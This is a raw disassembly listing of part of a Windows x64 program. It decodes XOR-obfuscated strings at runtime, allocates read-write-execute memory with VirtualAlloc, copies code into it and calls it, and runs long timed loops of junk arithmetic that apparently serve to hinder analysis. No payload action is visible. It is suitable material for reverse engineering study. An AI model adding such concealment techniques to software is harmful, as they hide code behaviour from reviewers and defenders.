call fcn.140259200
movzx eax, word [0x1402a94d4]
mov word [rsp + 0x60], ax
cmp byte [0x1402a94d5], 0
je 0x14023327f
mov byte [rsp + 0x60], 0x7c
xor byte [rsp + 0x61], 0x43
movups xmm0, xmmword [0x1402aa180]
movups xmmword [rsp + 0x228], xmm0
movzx eax, byte [0x1402aa190]
mov byte [rsp + 0x238], al
mov r9d, r12d
cmp esi, 2
jl 0x1402334c7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, ebx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x22c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140233300
cmp r9d, 0x11
jge 0x140233537
movsxd rax, r9d
lea r10, [rsp + 0x228]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x1402334e0
lea rax, [rsp + 0x228]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140233546
mov rdx, qword [0x1402c0440]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x1402384ce
lea rax, [0x1402c0430]
cmp qword [0x1402c0448], 0x10
cmovae rax, qword [0x1402c0430]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x228]
lea rcx, [rsp + 0x580]
call fcn.14025e2d0
nop
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1402335b4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x580]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3d0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3d0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 0x80000000
lea rdx, [0x1402c0110]
cmp qword [0x1402c0128], 0x10
cmovae rdx, qword [0x1402c0110]
mov r8, qword [0x1402c0120]
lea rcx, [rsp + 0x3c0]
call fcn.140257640
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xc78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts edi, 0x1e
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x3c0]
call fcn.140259200
nop
lea rcx, [rsp + 0x580]
call fcn.140259200
lea rdx, [rsp + 0xc68]
lea rcx, [rsp + 0xd10]
call fcn.14020c060
nop
lea rax, [rsp + 0xc48]
cmp qword [rsp + 0xc60], 0x10
cmovae rax, qword [rsp + 0xc48]
mov qword [rsp + 0x2c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xc10], xmm0
lea rcx, [rsp + 0x7298]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0xc18], rax
mov qword [rsp + 0xc20], rcx
mov rdi, qword [rcx]
xor rdi, rax
mov qword [rsp + 0xc10], rdi
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x1402bfb20]
lea rbx, [0x14025b2b0]
test rax, rax
je 0x14023373f
mov rdx, r12
cmp rax, rbx
je 0x14023372e
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2bfb20]
test rax, rax
jne 0x140233716
jmp 0x14023373f
mov r8, qword [r14 + rdx*8 + 0x2c4050]
test r8, r8
jne 0x140233820
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140233766
mov r8, r12
jmp 0x1402337ff
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140233771
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c49b0]
mov qword [r14 + rax*8 + 0x2bfb20], rbx
mov qword [r14 + rax*8 + 0x2c4050], r8
inc rax
mov qword [0x1402c49b0], rax
lea rdx, [rsp + 0x2c0]
lea rcx, [fcn.140202680]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rsp + 0xc10], rdi
lea rax, [rsp + 0x7298]
mov qword [rax], rdi
mov eax, dword [0x1402a9818]
mov dword [rsp + 0x118], eax
movzx eax, byte [0x1402a981c]
mov byte [rsp + 0x118], 0x50
xor byte [rsp + 0x119], 0x43
xor byte [rsp + 0x11a], 0x45
xor byte [rsp + 0x11b], 0x47
xor al, 0x49
mov byte [rsp + 0x11c], al
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x520]
call fcn.14021d2f0
nop
movsd xmm0, qword [0x1402a9778]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x1402a9780]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x1402a9784]
mov byte [rsp + 0x16c], al
mov r9d, r12d
mov r11d, 0x1f
cmp esi, 2
jl 0x140233aca
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, r15d
movdqa xmm8, xmmword [0x1402ad180]
movd xmm11, r11d
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a9778]
pxor xmm3, xmm0
movd dword [rsp + 0x160], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad0e0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad1a0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x164]
pxor xmm3, xmm1
movd dword [rsp + 0x164], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140233ae0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x150], rax
movups xmm0, xmmword [str._35____8__x_v_]
movups xmmword [rsp + 0x420], xmm0
movups xmm1, xmmword [0x1402a98d0]
movups xmmword [rsp + 0x430], xmm1
movzx eax, word [0x1402a98e0]
mov word [rsp + 0x440], ax
mov r9d, r12d
cmp esi, 2
jl 0x140233d97
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, r11d
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x424]
mov edx, dword [rsp + 0x50]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140233bd0
cmp r9d, 0x22
jge 0x140233e07
movsxd rax, r9d
lea r10, [rsp + 0x420]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140233db0
lea rax, [rsp + 0x420]
mov qword [rsp + 0x300], rax
lea r8, [rsp + 0x300]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x600]
call fcn.14025b4b0
nop
lea rax, [rsp + 0x600]
mov qword [rsp + 0x400], rax
lea rax, [rsp + 0x640]
mov qword [rsp + 0x408], rax
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x4a0]
call fcn.140204610
mov rbx, rax
lea rdx, [rsp + 0xd10]
lea rcx, [rsp + 0x540]
call fcn.1402578e0
nop
lea rdx, [rsp + 0xc48]
lea rcx, [rsp + 0x560]
call fcn.1402578e0
nop
lea rax, [rsp + 0x520]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x540]
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0xd50]
call fcn.14025b540
nop
lea rcx, [rsp + 0x560]
call fcn.140259200
nop
lea rcx, [rsp + 0x540]
call fcn.140259200
nop
lea rcx, [rsp + 0x4a0]
call fcn.140204770
nop
lea r9, [fcn.1402047a0]
mov r8, r13
mov edx, 0x40
lea rcx, [rsp + 0x600]
call fcn.14027d34c
nop
lea rcx, [rsp + 0x520]
call fcn.140259200
lea r8, [0x1402c02d0]
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0xc28]
call fcn.14020c440
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x48d0]
call fcn.1402562f0
mov dword [rsp + 0xa98], 0xffffff9c
mov dword [rsp + 0xa9c], 0x64
mov dword [rsp + 0x50], r12d
lea rcx, [rsp + 0x2f8]
call fcn.140203190
mov r15, qword [rsp + 0x2f8]
add r15, 0x5f5e100
mov esi, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140233fae
imul rax, rax, 0x64
jmp 0x140233fc9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140234101
mov r14d, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0x48d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023401b
nop dword [rax + rax]
lea rcx, [rsp + 0x48d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234000
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea ebx, [rcx - 0x80000000]
cmp ecx, esi
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0x48d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14023407b
cmp eax, 0x64
jae 0x14023407b
nop dword [rax]
lea rcx, [rsp + 0x48d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234060
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
lea rdx, [rsp + 0x48d0]
lea rcx, [rsp + 0xa98]
call fcn.14025a810
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0x48d0]
lea rcx, [rsp + 0xa98]
call fcn.14025a810
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], edx
sub r14, 1
jne 0x140233fe0
jmp 0x140233f90
mov eax, dword [rsp + 0x50]
movzx eax, word [0x1402a9568]
mov word [rsp + 0x68], ax
cmp byte [0x1402a9569], 0
je 0x140234124
mov byte [rsp + 0x68], 0xa
xor byte [rsp + 0x69], 0x43
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [rsp + 0xc28]
cmp qword [rsp + 0xc40], 0x10
cmovae rdx, qword [rsp + 0xc28]
mov r8, qword [rsp + 0xc38]
mov rcx, rax
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x21a4], 0xffffffff
mov dword [rsp + 0xe24], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xe24], eax
inc rdx
cmp rdx, 0x270
jb 0x140234190
mov dword [rsp + 0xe20], 0x270
mov dword [rsp + 0x50], r12d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402341e0
imul rax, rax, 0x64
jmp 0x1402341fb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140234220
imul rax, rax, 0x64
jmp 0x14023423b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x1402343f5
mov r14d, 0x186a0
nop word [rax + rax]
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023428b
nop dword [rax + rax]
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234270
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea ebx, [rcx - 0x80000000]
cmp ecx, esi
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1402342eb
cmp eax, 0x64
jae 0x1402342eb
nop dword [rax]
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402342d0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14023434c
cmp eax, 0x64
jae 0x14023434c
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234331
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1402343ae
cmp eax, 0x64
jae 0x1402343ae
lea rcx, [rsp + 0xe20]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234393
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], edx
sub r14, 1
jne 0x140234250
jmp 0x140234202
mov eax, dword [rsp + 0x50]
mov qword [rsp + 0x718], r12
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0xc28]
lea rcx, [rsp + 0xb98]
call fcn.14025b8a0
nop
lea rdi, [rsp + 0xb98]
mov qword [rsp + 0xaa0], rdi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xaa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xab0], xmm1
movabs r10, 0x8000000000000000
mov rcx, r10
mov qword [rsp + 0xab8], rcx
movzx r8d, byte [rdi]
cmp r8d, 9
ja case.default.0x14023447b
movsxd rax, r8d
lea r9, [0x140000000]
mov edx, dword [r9 + rax*4 + 0x2387d8]
add rdx, r9
jmp rdx
lea r9, [0x140000000]
cmp r8d, 9
ja case.0x140234495.3
mov edx, dword [r9 + r8*4 + 0x238800]
add rdx, r9
jmp rdx
mov rax, qword [rdi + 8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0xaa8], rax
jmp 0x1402344cc
mov rax, qword [rdi + 8]
mov rax, qword [rax]
mov qword [rsp + 0xab0], rax
jmp 0x1402344cc
mov rcx, r13
jmp 0x1402344c4
mov rcx, r12
mov qword [rsp + 0xab8], rcx
lea r14, [rsp + 0xb98]
mov qword [rsp + 0xae0], r14
movdqu xmmword [rsp + 0xae8], xmm0
movdqu xmmword [rsp + 0xaf0], xmm1
mov qword [rsp + 0xaf8], r10
movzx r8d, byte [r14]
cmp r8d, 9
ja case.0x140234521.0
movsxd rax, r8d
mov edx, dword [r9 + rax*4 + 0x238828]
add rdx, r9
jmp rdx
cmp r8d, 9
ja case.0x140234521.0
mov edx, dword [r9 + r8*4 + 0x238850]
add rdx, r9
jmp rdx
mov rax, qword [r14 + 8]
mov rax, qword [rax]
mov qword [rsp + 0xae8], rax
jmp 0x14023454e
mov rax, qword [r14 + 8]
mov rax, qword [rax + 8]
mov qword [rsp + 0xaf0], rax
jmp 0x14023454e
mov qword [rsp + 0xaf8], r13
mov ebx, dword [rsp + 0x40]
cmp rdi, r14
jne 0x1402384d4
movzx r8d, byte [rdi]
cmp r8d, 9
ja case.0x140234573.0
movsxd rax, r8d
mov edx, dword [r9 + rax*4 + 0x238878]
add rdx, r9
jmp rdx
mov rax, qword [rsp + 0xae8]
cmp qword [rsp + 0xaa8], rax
jmp 0x1402345a1
mov rax, qword [rsp + 0xaf0]
cmp qword [rsp + 0xab0], rax
jmp 0x1402345a1
cmp rcx, qword [rsp + 0xaf8]
setne al
test al, al
je 0x140238335
cmp r8d, 9
ja case.0x1402345bd.3
mov edx, dword [r9 + r8*4 + 0x2388a0]
add rdx, r9
jmp rdx
